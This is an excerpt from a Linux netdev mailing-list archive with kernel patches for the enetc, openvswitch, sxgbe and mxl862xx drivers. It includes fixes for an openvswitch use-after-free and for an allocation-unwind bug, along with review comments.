-
- pf = enetc_si_priv(si);
- num_si = pf->caps.num_vsi + 1;
+ int i;
val = enetc_port_rd(hw, ENETC4_PSIPMMR);
for (i = 0; i < num_si; i++) {
@@ -52,7 +49,7 @@ static int enetc_mac_filter_show(struct seq_file *s, void *data)
for (i = 0; i < num_si; i++)
enetc_show_si_mac_hash_filter(s, i);
- user = &si->ntmp_user;
+ user = &pf->si->ntmp_user;
rtnl_lock();
if (bitmap_empty(user->maft_eid_bitmap, user->maft_num_entries))
diff --git a/drivers/net/ethernet/freescale/enetc/enetc4_pf.c b/drivers/net/ethernet/freescale/enetc/enetc4_pf.c
index cab79f81d6fe..fcfbabb29d22 100644
--- a/drivers/net/ethernet/freescale/enetc/enetc4_pf.c
+++ b/drivers/net/ethernet/freescale/enetc/enetc4_pf.c
@@ -23,7 +23,6 @@ static void enetc4_get_port_caps(struct enetc_pf *pf)
u32 val;
val = enetc_port_rd(hw, ENETC4_ECAPR1);
- pf->caps.num_vsi = (val & ECAPR1_NUM_VSI) >> 24;
pf->caps.num_msix = ((val & ECAPR1_NUM_MSIX) >> 12) + 1;
val = enetc_port_rd(hw, ENETC4_ECAPR2);
@@ -255,34 +254,35 @@ static void enetc4_default_rings_allocation(struct enetc_pf *pf)
{
struct enetc_hw *hw = &pf->si->hw;
u32 num_rx_bdr, num_tx_bdr, val;
+ int num_vfs = pf->total_vfs;
u32 vf_tx_bdr, vf_rx_bdr;
int i, rx_rem, tx_rem;
- if (pf->caps.num_rx_bdr < ENETC_SI_MAX_RING_NUM + pf->caps.num_vsi)
- num_rx_bdr = pf->caps.num_rx_bdr - pf->caps.num_vsi;
+ if (pf->caps.num_rx_bdr < ENETC_SI_MAX_RING_NUM + num_vfs)
+ num_rx_bdr = pf->caps.num_rx_bdr - num_vfs;
else
num_rx_bdr = ENETC_SI_MAX_RING_NUM;
- if (pf->caps.num_tx_bdr < ENETC_SI_MAX_RING_NUM + pf->caps.num_vsi)
- num_tx_bdr = pf->caps.num_tx_bdr - pf->caps.num_vsi;
+ if (pf->caps.num_tx_bdr < ENETC_SI_MAX_RING_NUM + num_vfs)
+ num_tx_bdr = pf->caps.num_tx_bdr - num_vfs;
else
num_tx_bdr = ENETC_SI_MAX_RING_NUM;
val = enetc4_psicfgr0_val_construct(false, num_tx_bdr, num_rx_bdr);
enetc_port_wr(hw, ENETC4_PSICFGR0(0), val);
- if (!pf->caps.num_vsi)
+ if (!num_vfs)
return;
num_rx_bdr = pf->caps.num_rx_bdr - num_rx_bdr;
- rx_rem = num_rx_bdr % pf->caps.num_vsi;
- num_rx_bdr = num_rx_bdr / pf->caps.num_vsi;
+ rx_rem = num_rx_bdr % num_vfs;
+ num_rx_bdr = num_rx_bdr / num_vfs;
num_tx_bdr = pf->caps.num_tx_bdr - num_tx_bdr;
- tx_rem = num_tx_bdr % pf->caps.num_vsi;
- num_tx_bdr = num_tx_bdr / pf->caps.num_vsi;
+ tx_rem = num_tx_bdr % num_vfs;
+ num_tx_bdr = num_tx_bdr / num_vfs;
- for (i = 0; i < pf->caps.num_vsi; i++) {
+ for (i = 0; i < num_vfs; i++) {
vf_tx_bdr = (i < tx_rem) ? num_tx_bdr + 1 : num_tx_bdr;
vf_rx_bdr = (i < rx_rem) ? num_rx_bdr + 1 : num_rx_bdr;
val = enetc4_psicfgr0_val_construct(true, vf_tx_bdr, vf_rx_bdr);
@@ -298,27 +298,67 @@ static void enetc4_allocate_si_rings(struct enetc_pf *pf)
/* Allocate the number of MSI-X vectors for per SI. */
static void enetc4_set_si_msix_num(struct enetc_pf *pf)
{
+ int valid_num_si = pf->total_vfs + 1;
struct enetc_hw *hw = &pf->si->hw;
- int i, num_msix, total_si;
+ int i, num_msix, num_vsi;
u32 val;
- total_si = pf->caps.num_vsi + 1;
+ val = enetc_port_rd(hw, ENETC4_ECAPR1);
+ num_vsi = FIELD_GET(ECAPR1_NUM_VSI, val);
+
+ /* The PSIaCFGR2[NUM_MSIX] indicates the number of MSI-X allocated to
+ * the SI is NUM_MSIX + 1, so the minimum number of MSI-X allocated to
+ * each SI is 1. The total number of MSI-X allocated to PSI and VSIs
+ * cannot exceed the total number of MSI-X owned by this ENETC, which
+ * is ECAPR1[NUM_MSIX]. Otherwise, when multiple ENETC instances exist,
+ * it will affect other ENETCs whose MSI-X interrupts cannot be
+ * generated. This is similar to out-of-bounds array access: the array
+ * itself is not affected, but adjacent arrays will be corrupted.
+ *
+ * pf->total_vfs is 0 if CONFIG_PCI_IOV is disabled. If the hardware
+ * itself supports SR-IOV, then when allocating the number of MSIXs to
+ * the SI, it must be taken into account that the VSI has at least 1
+ * MSIX, and the total number of MSIXs of all SIs cannot exceed
+ * ECAPR1[NUM_MSIX].
+ */
+ if (!pf->total_vfs && num_vsi) {
+ /* Because each SI has at least one MSIX, and from the hardware
+ * perspective, pf->caps.num_msix will always be greater than
+ * num_vsi. So num_msix is always greater than or equal to 0.
+ */
+ num_msix = pf->caps.num_msix - num_vsi - 1;
+ if (num_msix > PSICFGR2_NUM_MSIX)
+ num_msix = PSICFGR2_NUM_MSIX;
+ enetc_port_wr(hw, ENETC4_PSICFGR2(0), num_msix);
- num_msix = pf->caps.num_msix / total_si +
- pf->caps.num_msix % total_si - 1;
- val = num_msix & PSICFGR2_NUM_MSIX;
- enetc_port_wr(hw, ENETC4_PSICFGR2(0), val);
+ for (i = 0; i < num_vsi; i++)
+ enetc_port_wr(hw, ENETC4_PSICFGR2(i + 1), 0);
- num_msix = pf->caps.num_msix / total_si - 1;
- val = num_msix & PSICFGR2_NUM_MSIX;
- for (i = 0; i < pf->caps.num_vsi; i++)
- enetc_port_wr(hw, ENETC4_PSICFGR2(i + 1), val);
+ return;
+ }
+
+ /* Likewise, from the hardware perspective pf->caps.num_msix is always
+ * greater than valid_num_si. So num_msix is always greater than or
+ * equal to 0.
+ */
+ num_msix = pf->caps.num_msix / valid_num_si +
+ pf->caps.num_msix % valid_num_si - 1;
+ if (num_msix > PSICFGR2_NUM_MSIX)
+ num_msix = PSICFGR2_NUM_MSIX;
+ enetc_port_wr(hw, ENETC4_PSICFGR2(0), num_msix);
+
+ num_msix = pf->caps.num_msix / valid_num_si - 1;
+ if (num_msix > PSICFGR2_NUM_MSIX)
+ num_msix = PSICFGR2_NUM_MSIX;
+
+ for (i = 0; i < pf->total_vfs; i++)
+ enetc_port_wr(hw, ENETC4_PSICFGR2(i + 1), num_msix);
}
static void enetc4_enable_all_si(struct enetc_pf *pf)
{
struct enetc_hw *hw = &pf->si->hw;
- int num_si = pf->caps.num_vsi + 1;
+ int num_si = pf->total_vfs + 1;
u32 si_bitmap = 0;
int i;
@@ -339,7 +379,7 @@ static void enetc4_configure_port_si(struct enetc_pf *pf)
enetc_port_wr(hw, ENETC4_PSIVLANFMR, PSIVLANFMR_VS);
/* Enforce VLAN promiscuous mode for all SIs */
- for (int i = 0; i < pf->caps.num_vsi + 1; i++)
+ for (int i = 0; i < pf->total_vfs + 1; i++)
enetc_set_si_vlan_promisc(pf->si, i, true);
/* Disable SI MAC multicast & unicast promiscuous */
diff --git a/drivers/net/ethernet/freescale/enetc/enetc_pf.h b/drivers/net/ethernet/freescale/enetc/enetc_pf.h
index 1bd3063a3be3..56d23a8a11a0 100644
--- a/drivers/net/ethernet/freescale/enetc/enetc_pf.h
+++ b/drivers/net/ethernet/freescale/enetc/enetc_pf.h
@@ -17,7 +17,6 @@ struct enetc_vf_state {
};
struct enetc_port_caps {
- int num_vsi;
int num_msix;
int num_rx_bdr;
int num_tx_bdr;
--
2.34.1
^ permalink raw reply related
* [PATCH RESEND v4 net-next 13/14] net: enetc: use alloc_etherdev_mqs() to create netdev for VF driver
From: wei.fang @ 2026-07-20 1:43 UTC (permalink / raw)
To: claudiu.manoil, vladimir.oltean, xiaoning.wang, andrew+netdev,
davem, edumazet, kuba, pabeni, linux, wei.fang, chleroy,
maxime.chevallier
Cc: imx, netdev, linux-kernel, linuxppc-dev, linux-arm-kernel
In-Reply-To: <20260720014317.1059359-1-wei.fang@oss.nxp.com>
From: Wei Fang <wei.fang@nxp.com>
The VF driver uses alloc_etherdev_mq() with ENETC_MAX_NUM_TXQS as the
queue count, which forces the TX and RX queue counts to be equal and
uses a compile-time constant rather than the actual hardware capability.
After enetc_get_si_caps() is called, si->num_tx_rings and
si->num_rx_rings reflect the actual number of rings assigned to the VF
by the PF. For the ENETC VF on LS1028A and the upcoming i.MX95/94, their
SoCs have no more than 6 CPUs, and the number of TX/RX rings allocated
to the VF is less than 8.
Therefore, switch to alloc_etherdev_mqs() so that the TX and RX queue
counts are set independently, each capped at ENETC_MAX_NUM_TXQS, based
on the actual number of rings assigned to the VF by the PF.
Note that if future SoCs have more than 6 CPUs and more than 6 RX rings
allocated to VFs, the size of the int_vector array in struct
enetc_ndev_priv will need to be modified. Similarly, if more than 8 TX
rings are allocated to each int_vector, ENETC_MAX_NUM_TXQS will also
need to be modified.
Signed-off-by: Wei Fang <wei.fang@nxp.com>
---
drivers/net/ethernet/freescale/enetc/enetc_vf.c | 9 ++++++++-
1 file changed, 8 insertions(+), 1 deletion(-)
diff --git a/drivers/net/ethernet/freescale/enetc/enetc_vf.c b/drivers/net/ethernet/freescale/enetc/enetc_vf.c
index 9cdb0a4d6baf..7dcb4a0246f5 100644
--- a/drivers/net/ethernet/freescale/enetc/enetc_vf.c
+++ b/drivers/net/ethernet/freescale/enetc/enetc_vf.c
@@ -317,7 +317,14 @@ static int enetc_vf_probe(struct pci_dev *pdev,
enetc_get_si_caps(si);
- ndev = alloc_etherdev_mq(sizeof(*priv), ENETC_MAX_NUM_TXQS);
+ /* Currently, the supported SoCs have a max of 6 CPUs and the VFs
+ * have less than 6 RX/TX rings. So no issues for these supported
+ * SoCs, but for future SoCs which have more CPUs or more TX/RX
+ * rings, all the related logic needs to be improved.
+ */
+ ndev = alloc_etherdev_mqs(sizeof(*priv),
+ min(si->num_tx_rings, ENETC_MAX_NUM_TXQS),
+ min(si->num_rx_rings, ENETC_MAX_NUM_TXQS));
if (!ndev) {
err = -ENOMEM;
dev_err(&pdev->dev, "netdev creation failed\n");
--
2.34.1
^ permalink raw reply related
* [PATCH RESEND v4 net-next 14/14] net: enetc: use kzalloc_flex() for enetc_psfp_gate allocation
From: wei.fang @ 2026-07-20 1:43 UTC (permalink / raw)
To: claudiu.manoil, vladimir.oltean, xiaoning.wang, andrew+netdev,
davem, edumazet, kuba, pabeni, linux, wei.fang, chleroy,
maxime.chevallier
Cc: imx, netdev, linux-kernel, linuxppc-dev, linux-arm-kernel
In-Reply-To: <20260720014317.1059359-1-wei.fang@oss.nxp.com>
From: Wei Fang <wei.fang@nxp.com>
Replace the open-coded struct_size() + kzalloc() pattern with the
kzalloc_flex() helper when allocating struct enetc_psfp_gate. This
removes the intermediate entries_size local variable and makes the
allocation site more concise.
Signed-off-by: Wei Fang <wei.fang@nxp.com>
---
drivers/net/ethernet/freescale/enetc/enetc_qos.c | 4 +---
1 file changed, 1 insertion(+), 3 deletions(-)
diff --git a/drivers/net/ethernet/freescale/enetc/enetc_qos.c b/drivers/net/ethernet/freescale/enetc/enetc_qos.c
index 7b17bca24f26..2aa0fcaafcd2 100644
--- a/drivers/net/ethernet/freescale/enetc/enetc_qos.c
+++ b/drivers/net/ethernet/freescale/enetc/enetc_qos.c
@@ -1135,7 +1135,6 @@ static int enetc_psfp_parse_clsflower(struct enetc_ndev_priv *priv,
struct flow_action_entry *entry;
struct action_gate_entry *e;
u8 sfi_overwrite = 0;
- int entries_size;
int i, err;
if (f->common.chain_index >= priv->psfp_cap.max_streamid) {
@@ -1242,8 +1241,7 @@ static int enetc_psfp_parse_clsflower(struct enetc_ndev_priv *priv,
goto free_filter;
}
- entries_size = struct_size(sgi, entries, entryg->gate.num_entries);
- sgi = kzalloc(entries_size, GFP_KERNEL);
+ sgi = kzalloc_flex(*sgi, entries, entryg->gate.num_entries);
if (!sgi) {
err = -ENOMEM;
goto free_filter;
--
2.34.1
^ permalink raw reply related
* [PATCH net 1/1] openvswitch: Fix CT limit teardown use-after-free
From: Ren Wei @ 2026-07-20 2:14 UTC (permalink / raw)
To: netdev, dev
Cc: aconole, echaudro, i.maximets, davem, edumazet, pabeni, horms,
pshelar, yihung.wei, vega, tonanli66, xuyuqiabc, enjou1224z
In-Reply-To: <cover.1784355642.git.xuyuqiabc@gmail.com>
From: Yuqi Xu <xuyuqiabc@gmail.com>
Packet processing uses CT limit state under RCU, while netns teardown
frees that state under ovs_mutex. The CT limit pointer was neither removed
from readers nor protected by a grace period, allowing packet processing to
dereference the freed state.
Replace the pointer before freeing the CT limit state. Wait for in-flight
RCU readers before freeing its contents. Serialize CT limit netlink
operations with teardown for the full lifetime of their state accesses.
Fixes: 11efd5cb04a1 ("openvswitch: Support conntrack zone limit")
Cc: stable@vger.kernel.org
Reported-by: Vega <vega@nebusec.ai>
Assisted-by: Codex:GPT-5.4
Co-developed-by: Nan Li <tonanli66@gmail.com>
Signed-off-by: Nan Li <tonanli66@gmail.com>
Signed-off-by: Yuqi Xu <xuyuqiabc@gmail.com>
Reviewed-by: Ren Wei <enjou1224z@gmail.com>
---
net/openvswitch/conntrack.c | 79 +++++++++++++++++++++++--------------
net/openvswitch/datapath.h | 2 +-
2 files changed, 51 insertions(+), 30 deletions(-)
diff --git a/net/openvswitch/conntrack.c b/net/openvswitch/conntrack.c
index 95697d4e1..d5c47127a 100644
--- a/net/openvswitch/conntrack.c
+++ b/net/openvswitch/conntrack.c
@@ -932,11 +932,15 @@ static int ovs_ct_check_limit(struct net *net,
const struct sk_buff *skb,
const struct ovs_conntrack_info *info)
{
+ const struct ovs_ct_limit_info *ct_limit_info;
struct ovs_net *ovs_net = net_generic(net, ovs_net_id);
- const struct ovs_ct_limit_info *ct_limit_info = ovs_net->ct_limit_info;
u32 per_zone_limit, connections;
u32 conncount_key;
+ ct_limit_info = rcu_dereference(ovs_net->ct_limit_info);
+ if (!ct_limit_info)
+ return 0;
+
conncount_key = info->zone.id;
per_zone_limit = ct_limit_get(ct_limit_info, info->zone.id);
@@ -1585,40 +1589,47 @@ static void __ovs_ct_free_action(struct ovs_conntrack_info *ct_info)
#if IS_ENABLED(CONFIG_NETFILTER_CONNCOUNT)
static int ovs_ct_limit_init(struct net *net, struct ovs_net *ovs_net)
{
+ struct ovs_ct_limit_info *info;
int i, err;
- ovs_net->ct_limit_info = kmalloc_obj(*ovs_net->ct_limit_info);
- if (!ovs_net->ct_limit_info)
+ info = kmalloc_obj(*info);
+ if (!info)
return -ENOMEM;
- ovs_net->ct_limit_info->default_limit = OVS_CT_LIMIT_DEFAULT;
- ovs_net->ct_limit_info->limits =
+ info->default_limit = OVS_CT_LIMIT_DEFAULT;
+ info->limits =
kmalloc_objs(struct hlist_head, CT_LIMIT_HASH_BUCKETS);
- if (!ovs_net->ct_limit_info->limits) {
- kfree(ovs_net->ct_limit_info);
+ if (!info->limits) {
+ kfree(info);
return -ENOMEM;
}
for (i = 0; i < CT_LIMIT_HASH_BUCKETS; i++)
- INIT_HLIST_HEAD(&ovs_net->ct_limit_info->limits[i]);
+ INIT_HLIST_HEAD(&info->limits[i]);
- ovs_net->ct_limit_info->data = nf_conncount_init(net, sizeof(u32));
+ info->data = nf_conncount_init(net, sizeof(u32));
- if (IS_ERR(ovs_net->ct_limit_info->data)) {
- err = PTR_ERR(ovs_net->ct_limit_info->data);
- kfree(ovs_net->ct_limit_info->limits);
- kfree(ovs_net->ct_limit_info);
+ if (IS_ERR(info->data)) {
+ err = PTR_ERR(info->data);
+ kfree(info->limits);
+ kfree(info);
pr_err("openvswitch: failed to init nf_conncount %d\n", err);
return err;
}
+ rcu_assign_pointer(ovs_net->ct_limit_info, info);
return 0;
}
static void ovs_ct_limit_exit(struct net *net, struct ovs_net *ovs_net)
{
- const struct ovs_ct_limit_info *info = ovs_net->ct_limit_info;
+ const struct ovs_ct_limit_info *info;
int i;
+ info = rcu_replace_pointer(ovs_net->ct_limit_info, NULL,
+ lockdep_ovsl_is_held());
+ /* ovs_ct_check_limit() accesses the info under the datapath RCU lock. */
+ synchronize_rcu();
+
nf_conncount_destroy(net, info->data);
for (i = 0; i < CT_LIMIT_HASH_BUCKETS; ++i) {
struct hlist_head *head = &info->limits[i];
@@ -1678,9 +1689,7 @@ static int ovs_ct_limit_set_zone_limit(struct nlattr *nla_zone_limit,
while (rem >= sizeof(*zone_limit)) {
if (unlikely(zone_limit->zone_id ==
OVS_ZONE_LIMIT_DEFAULT_ZONE)) {
- ovs_lock();
info->default_limit = zone_limit->limit;
- ovs_unlock();
} else if (unlikely(!check_zone_id(
zone_limit->zone_id, &zone))) {
OVS_NLERR(true, "zone id is out of range");
@@ -1694,9 +1703,7 @@ static int ovs_ct_limit_set_zone_limit(struct nlattr *nla_zone_limit,
ct_limit->zone = zone;
ct_limit->limit = zone_limit->limit;
- ovs_lock();
ct_limit_set(info, ct_limit);
- ovs_unlock();
}
rem -= NLA_ALIGN(sizeof(*zone_limit));
zone_limit = (struct ovs_zone_limit *)((u8 *)zone_limit +
@@ -1722,16 +1729,12 @@ static int ovs_ct_limit_del_zone_limit(struct nlattr *nla_zone_limit,
while (rem >= sizeof(*zone_limit)) {
if (unlikely(zone_limit->zone_id ==
OVS_ZONE_LIMIT_DEFAULT_ZONE)) {
- ovs_lock();
info->default_limit = OVS_CT_LIMIT_DEFAULT;
- ovs_unlock();
} else if (unlikely(!check_zone_id(
zone_limit->zone_id, &zone))) {
OVS_NLERR(true, "zone id is out of range");
} else {
- ovs_lock();
ct_limit_del(info, zone);
- ovs_unlock();
}
rem -= NLA_ALIGN(sizeof(*zone_limit));
zone_limit = (struct ovs_zone_limit *)((u8 *)zone_limit +
@@ -1849,8 +1852,8 @@ static int ovs_ct_limit_cmd_set(struct sk_buff *skb, struct genl_info *info)
struct nlattr **a = info->attrs;
struct sk_buff *reply;
struct ovs_header *ovs_reply_header;
+ struct ovs_ct_limit_info *ct_limit_info;
struct ovs_net *ovs_net = net_generic(sock_net(skb->sk), ovs_net_id);
- struct ovs_ct_limit_info *ct_limit_info = ovs_net->ct_limit_info;
int err;
reply = ovs_ct_limit_cmd_reply_start(info, OVS_CT_LIMIT_CMD_SET,
@@ -1863,16 +1866,22 @@ static int ovs_ct_limit_cmd_set(struct sk_buff *skb, struct genl_info *info)
goto exit_err;
}
+ ovs_lock();
+ ct_limit_info = rcu_dereference_protected(ovs_net->ct_limit_info,
+ lockdep_ovsl_is_held());
err = ovs_ct_limit_set_zone_limit(a[OVS_CT_LIMIT_ATTR_ZONE_LIMIT],
ct_limit_info);
if (err)
- goto exit_err;
+ goto exit_unlock;
static_branch_enable(&ovs_ct_limit_enabled);
genlmsg_end(reply, ovs_reply_header);
+ ovs_unlock();
return genlmsg_reply(reply, info);
+exit_unlock:
+ ovs_unlock();
exit_err:
nlmsg_free(reply);
return err;
@@ -1883,8 +1892,8 @@ static int ovs_ct_limit_cmd_del(struct sk_buff *skb, struct genl_info *info)
struct nlattr **a = info->attrs;
struct sk_buff *reply;
struct ovs_header *ovs_reply_header;
+ struct ovs_ct_limit_info *ct_limit_info;
struct ovs_net *ovs_net = net_generic(sock_net(skb->sk), ovs_net_id);
- struct ovs_ct_limit_info *ct_limit_info = ovs_net->ct_limit_info;
int err;
reply = ovs_ct_limit_cmd_reply_start(info, OVS_CT_LIMIT_CMD_DEL,
@@ -1897,14 +1906,20 @@ static int ovs_ct_limit_cmd_del(struct sk_buff *skb, struct genl_info *info)
goto exit_err;
}
+ ovs_lock();
+ ct_limit_info = rcu_dereference_protected(ovs_net->ct_limit_info,
+ lockdep_ovsl_is_held());
err = ovs_ct_limit_del_zone_limit(a[OVS_CT_LIMIT_ATTR_ZONE_LIMIT],
ct_limit_info);
if (err)
- goto exit_err;
+ goto exit_unlock;
genlmsg_end(reply, ovs_reply_header);
+ ovs_unlock();
return genlmsg_reply(reply, info);
+exit_unlock:
+ ovs_unlock();
exit_err:
nlmsg_free(reply);
return err;
@@ -1917,8 +1932,8 @@ static int ovs_ct_limit_cmd_get(struct sk_buff *skb, struct genl_info *info)
struct sk_buff *reply;
struct ovs_header *ovs_reply_header;
struct net *net = sock_net(skb->sk);
+ struct ovs_ct_limit_info *ct_limit_info;
struct ovs_net *ovs_net = net_generic(net, ovs_net_id);
- struct ovs_ct_limit_info *ct_limit_info = ovs_net->ct_limit_info;
int err;
reply = ovs_ct_limit_cmd_reply_start(info, OVS_CT_LIMIT_CMD_GET,
@@ -1932,23 +1947,29 @@ static int ovs_ct_limit_cmd_get(struct sk_buff *skb, struct genl_info *info)
goto exit_err;
}
+ ovs_lock();
+ ct_limit_info = rcu_dereference_protected(ovs_net->ct_limit_info,
+ lockdep_ovsl_is_held());
if (a[OVS_CT_LIMIT_ATTR_ZONE_LIMIT]) {
err = ovs_ct_limit_get_zone_limit(
net, a[OVS_CT_LIMIT_ATTR_ZONE_LIMIT], ct_limit_info,
reply);
if (err)
- goto exit_err;
+ goto exit_unlock;
} else {
err = ovs_ct_limit_get_all_zone_limit(net, ct_limit_info,
reply);
if (err)
- goto exit_err;
+ goto exit_unlock;
}
nla_nest_end(reply, nla_reply);
genlmsg_end(reply, ovs_reply_header);
+ ovs_unlock();
return genlmsg_reply(reply, info);
+exit_unlock:
+ ovs_unlock();
exit_err:
nlmsg_free(reply);
return err;
diff --git a/net/openvswitch/datapath.h b/net/openvswitch/datapath.h
index db0c3e69d..355adf78b 100644
--- a/net/openvswitch/datapath.h
+++ b/net/openvswitch/datapath.h
@@ -172,7 +172,7 @@ struct ovs_net {
struct work_struct dp_notify_work;
struct delayed_work masks_rebalance;
#if IS_ENABLED(CONFIG_NETFILTER_CONNCOUNT)
- struct ovs_ct_limit_info *ct_limit_info;
+ struct ovs_ct_limit_info __rcu *ct_limit_info;
#endif
bool xt_label;
};
--
2.54.0
^ permalink raw reply related
* [PATCH 3/7] net: sxgbe: handle descriptor ring allocation failures
From: Chenguang Zhao @ 2026-07-20 2:47 UTC (permalink / raw)
To: bh74.an, andrew+netdev, davem, edumazet, kuba, pabeni
Cc: netdev, chenguang.zhao, Chenguang Zhao
From: Chenguang Zhao <zhaochenguang@kylinos.cn>
sxgbe_open() ignores allocation failures and proceeds to program DMA with
invalid ring addresses. In addition, an RX allocation failure leaks all
TX descriptor rings allocated earlier. Check the return value and unwind
both ring types before disconnecting the PHY.
Fixes: 1edb9ca69e8a ("net: sxgbe: add basic framework for Samsung 10Gb ethernet driver")
Signed-off-by: Chenguang Zhao <zhaochenguang@kylinos.cn>
---
drivers/net/ethernet/samsung/sxgbe/sxgbe_main.c | 8 +++++++-
1 file changed, 7 insertions(+), 1 deletion(-)
diff --git a/drivers/net/ethernet/samsung/sxgbe/sxgbe_main.c b/drivers/net/ethernet/samsung/sxgbe/sxgbe_main.c
index 5051ada43d2f..8d9f27065346 100644
--- a/drivers/net/ethernet/samsung/sxgbe/sxgbe_main.c
+++ b/drivers/net/ethernet/samsung/sxgbe/sxgbe_main.c
@@ -605,6 +605,9 @@ static int init_dma_desc_rings(struct net_device *netd)
rxalloc_err:
while (queue_num--)
free_rx_ring(priv->device, priv->rxq[queue_num], rx_rsize);
+ queue_num = SXGBE_TX_QUEUES;
+ while (queue_num--)
+ free_tx_ring(priv->device, priv->txq[queue_num], tx_rsize);
return ret;
}
@@ -1079,7 +1082,9 @@ static int sxgbe_open(struct net_device *dev)
priv->dma_buf_sz = SXGBE_ALIGN(DMA_BUFFER_SIZE);
priv->tx_tc = TC_DEFAULT;
priv->rx_tc = TC_DEFAULT;
- init_dma_desc_rings(dev);
+ ret = init_dma_desc_rings(dev);
+ if (ret)
+ goto init_phy_error;
/* DMA initialization and SW reset */
ret = sxgbe_init_dma_engine(priv);
@@ -1188,6 +1193,7 @@ static int sxgbe_open(struct net_device *dev)
init_error:
free_dma_desc_resources(priv);
+init_phy_error:
if (dev->phydev)
phy_disconnect(dev->phydev);
phy_error:
--
2.25.1
^ permalink raw reply related
* Re: [PATCH net 1/1] openvswitch: Fix CT limit teardown use-after-free
From: Andrew Lunn @ 2026-07-20 2:52 UTC (permalink / raw)
To: Ren Wei
Cc: netdev, dev, aconole, echaudro, i.maximets, davem, edumazet,
pabeni, horms, pshelar, yihung.wei, vega, tonanli66, xuyuqiabc
In-Reply-To: <aa8a1d8dcbac8a13dbdf077a642a66f4c5d81e4b.1784355642.git.xuyuqiabc@gmail.com>
On Mon, Jul 20, 2026 at 10:14:16AM +0800, Ren Wei wrote:
> From: Yuqi Xu <xuyuqiabc@gmail.com>
>
> Packet processing uses CT limit state under RCU, while netns teardown
> frees that state under ovs_mutex. The CT limit pointer was neither removed
> from readers nor protected by a grace period, allowing packet processing to
> dereference the freed state.
>
> Replace the pointer before freeing the CT limit state. Wait for in-flight
> RCU readers before freeing its contents. Serialize CT limit netlink
> operations with teardown for the full lifetime of their state accesses.
>
> Fixes: 11efd5cb04a1 ("openvswitch: Support conntrack zone limit")
> Cc: stable@vger.kernel.org
> Reported-by: Vega <vega@nebusec.ai>
Is Vega a person?
> Assisted-by: Codex:GPT-5.4
> Co-developed-by: Nan Li <tonanli66@gmail.com>
> Signed-off-by: Nan Li <tonanli66@gmail.com>
> Signed-off-by: Yuqi Xu <xuyuqiabc@gmail.com>
> Reviewed-by: Ren Wei <enjou1224z@gmail.com>
Please take a look at
https://docs.kernel.org/process/submitting-patches.html#sign-your-work-the-developer-s-certificate-of-origin
and the sections that follow. What is listed here does not follow the
rules.
> @@ -932,11 +932,15 @@ static int ovs_ct_check_limit(struct net *net,
> const struct sk_buff *skb,
> const struct ovs_conntrack_info *info)
> {
> + const struct ovs_ct_limit_info *ct_limit_info;
> struct ovs_net *ovs_net = net_generic(net, ovs_net_id);
> - const struct ovs_ct_limit_info *ct_limit_info = ovs_net->ct_limit_info;
> u32 per_zone_limit, connections;
> u32 conncount_key;
Reverse Christmas tree. The lines should be sorted longest to
shortest. Yes, it was already wrong, but you can actually fix it here.
Andrew
---
pw-bot: cr
^ permalink raw reply
* Re: [PATCH 3/7] net: sxgbe: handle descriptor ring allocation failures
From: Andrew Lunn @ 2026-07-20 2:56 UTC (permalink / raw)
To: Chenguang Zhao
Cc: bh74.an, andrew+netdev, davem, edumazet, kuba, pabeni, netdev,
Chenguang Zhao
In-Reply-To: <20260720024747.504493-1-chenguang.zhao@linux.dev>
On Mon, Jul 20, 2026 at 10:47:47AM +0800, Chenguang Zhao wrote:
> From: Chenguang Zhao <zhaochenguang@kylinos.cn>
>
> sxgbe_open() ignores allocation failures and proceeds to program DMA with
> invalid ring addresses. In addition, an RX allocation failure leaks all
> TX descriptor rings allocated earlier. Check the return value and unwind
> both ring types before disconnecting the PHY.
You are fixing two things here, so there should be two patches. We
want lots of small patches which are obviously correct, with good
commit messages. And if your change breaks something, a git bisect
gives more information.
Andrew
---
pw-bot: cr
^ permalink raw reply
* [PATCH net-next v3 0/4] net: dsa: mxl862xx: support firmware update
From: Daniel Golle @ 2026-07-20 3:14 UTC (permalink / raw)
To: Daniel Golle, Andrew Lunn, Vladimir Oltean, David S. Miller,
Eric Dumazet, Jakub Kicinski, Paolo Abeni, Simon Horman,
linux-kernel, netdev
The firmware of MxL862xx managed Ethernet switches can be updated
in-system via the same MDIO bus which is also used to manage the
switch. Wire up the devlink flash_update operation for DSA drivers
and implement firmware update and version reporting in the mxl862xx
driver.
Changes since v2 [2]:
- validate the firmware image, including both CRCs, before taking
down any ports, so that a malformed file is rejected without
disturbing the running switch and without the needless flash and
reprobe cycle it previously triggered
- reject images whose declared payload sizes overflow when summed
(check_add_overflow) or sum up to zero; the latter previously
erased the flash without writing anything back
- allocate the reprobe work item and take the module and device
references before starting the update, so scheduling the reprobe
can no longer fail after the switch has been pushed into MCUboot
- prevent the stats poll work from being re-armed and cancel the
CRC error work before starting the transfer
- check the host-blocking flags in mxl862xx_api_wrap() under the
MDIO bus lock to close the race window where an API command
which had already passed the check could reach the bus after the
switch rebooted into MCUboot
- check the return value of SB PDI data word writes so a failed
MDIO transaction aborts the transfer instead of being noticed
only through a corrupted image
- report a per-model chip name (e.g. "MaxLinear MxL86252") as the
devlink "asic.id" fixed version instead of the devicetree
compatible string, whose comma is awkward for userspace
consumers such as fwupd (see discussion on v2 patch 3)
- report the canonical null version "0.0.0" instead of
"mcuboot-rescue" as the running firmware version in rescue mode,
so that version-comparing update tools like fwupd treat every
available release as an upgrade and offer it for recovery
Changes since RFC [1]:
- detect a switch stuck in MCUboot rescue mode at probe, register
the switch without any ports and report "mcuboot-rescue" as the
running firmware version, so devlink flash can recover from a
failed or interrupted update (Andrew Lunn)
- clarify in the commit message of patch 2 that the per-transaction
MDIO bus locking is about other, non-switch devices on the same
MDIO bus (Andrew Lunn)
- mention in the commit message of patch 3 that closing the ports
also stops phylib from polling the switch-internal PHYs during
the transfer (Andrew Lunn)
- split up run-on sentence and explain the dynamically allocated
reprobe work item instead of just pointing at iwlwifi in the
commit message of patch 3 (Manuel Ebner)
- use kzalloc_obj() (Manuel Ebner)
- state the actual duration of a complete flash and reprobe cycle
(just under a minute) in comments and the commit message, and
clarify that the timeout values are generous upper bounds
(Manuel Ebner)
[1] https://lore.kernel.org/all/ak0J-HgzMRea53om@makrotopia.org/
[2] https://lore.kernel.org/all/cover.1783988826.git.daniel@makrotopia.org/
Daniel Golle (4):
net: dsa: wire flash_update devlink callback to drivers
net: dsa: mxl862xx: add SMDIO clause-22 register access
net: dsa: mxl862xx: add devlink flash_update and info_get
net: dsa: mxl862xx: recover switch stuck in MCUboot rescue mode
drivers/net/dsa/mxl862xx/Makefile | 2 +-
drivers/net/dsa/mxl862xx/mxl862xx-cmd.h | 1 +
